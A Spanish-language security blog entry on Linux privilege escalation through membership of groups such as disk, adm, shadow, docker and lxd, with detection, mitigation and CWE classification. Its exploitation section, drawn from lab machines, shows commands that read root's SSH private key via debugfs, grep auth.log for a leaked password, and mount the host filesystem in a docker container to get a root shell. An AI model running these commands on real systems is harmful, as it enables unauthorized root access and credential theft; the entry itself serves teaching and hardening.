cd ~/blog

~/vulns/privileged-groups-privesc.md

Privileged Groups Privesc

privescautor: Jordy Pérez Osorio aviso legal
privescgroupsLinux

~2 min de lectura


1. Descripción técnica

En Linux, la pertenencia de un usuario a ciertos grupos del sistema otorga capacidades que pueden derivar en escalada de privilegios, incluso sin necesidad de sudo o binarios SUID. Si un usuario sin privilegios pertenece (por configuración indebida) a uno de estos grupos, puede abusar de los permisos asociados para leer datos sensibles o convertirse en root. Los más relevantes:

  • disk: acceso de bajo nivel a dispositivos de bloque. Según los permisos del dispositivo y la herramienta disponible, puede eludir controles del sistema de archivos montado.
  • adm: lectura de logs del sistema. El impacto depende de que esos registros contengan información sensible.
  • shadow: acceso a hashes de /etc/shadow, que todavía deben recuperarse mediante cracking o reutilización.
  • docker: control del daemon. Si éste opera como root y permite contenedores con montajes del host, puede equivaler a acceso root.
  • lxd / lxc: control sobre contenedores y dispositivos. Un contenedor privilegiado con el host montado puede cruzar el límite hacia el sistema anfitrión.
  • video, sudo, wheel, staff: conceden capacidades diferentes y requieren analizar permisos concretos, no asumir una escalada automática.

2. Impacto de la vulnerabilidad

  • Escalada de privilegios a root (directa con docker/lxd/disk) o lectura de material sensible que conduce a root (adm, shadow).
  • Lectura arbitraria de archivos saltándose los permisos (con disk).

3. Condiciones necesarias

  1. Un usuario sin privilegios incluido en un grupo privilegiado sin necesitarlo realmente.
  2. Las herramientas necesarias disponibles (debugfs, docker, lxc, etc.).

4. Validación y detección

id            # ¿pertenezco a disk, adm, docker, lxd, shadow...?
groups

Herramientas como LinPEAS destacan automáticamente la pertenencia a grupos peligrosos.

5. Mitigación

  1. Aplicar el principio de mínimo privilegio: no añadir usuarios a grupos del sistema salvo necesidad real.
  2. Revisar periódicamente las pertenencias a disk, adm, docker, lxd, shadow.
  3. Restringir el acceso a las herramientas que habilitan el abuso.

6. Explotación documentada

6.1 Grupo disk: 05-ready, 033-medusa y 002-satori

El acceso al dispositivo de bloque permite usar debugfs para leer una clave SSH de root sin pasar por los permisos del sistema de archivos montado:

ben@ready:/var/www/html$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)

ben@ready:/var/www/html$ df -h
/dev/sda1       6.9G  1.7G  4.8G  26% /

ben@ready:/var/www/html$ debugfs /dev/sda1
cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
...

6.2 Grupo adm: 08-hit

La lectura de auth.log revela una contraseña introducida por error como nombre de usuario:

charlie@hit:/$ id
uid=1000(charlie) gid=1000(charlie) grupos=1000(charlie),4(adm)

charlie@hit:/var/log$ cat auth.log | grep pass
... Failed password for invalid user r00tP4zzw0rd from ...

6.3 Grupos docker y lxd

En 007-pwned y 11-arpon, el grupo docker permite montar el host dentro de un contenedor. 040-codeshield documenta la variante con un contenedor LXD privilegiado:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

7. Clasificación

  • Tipo: Privilege Escalation / Security Misconfiguration
  • CWE:
    • CWE-250: Execution with Unnecessary Privileges
    • CWE-266: Incorrect Privilege Assignment for Critical Resource

8. Referencias y conexiones

// relacionados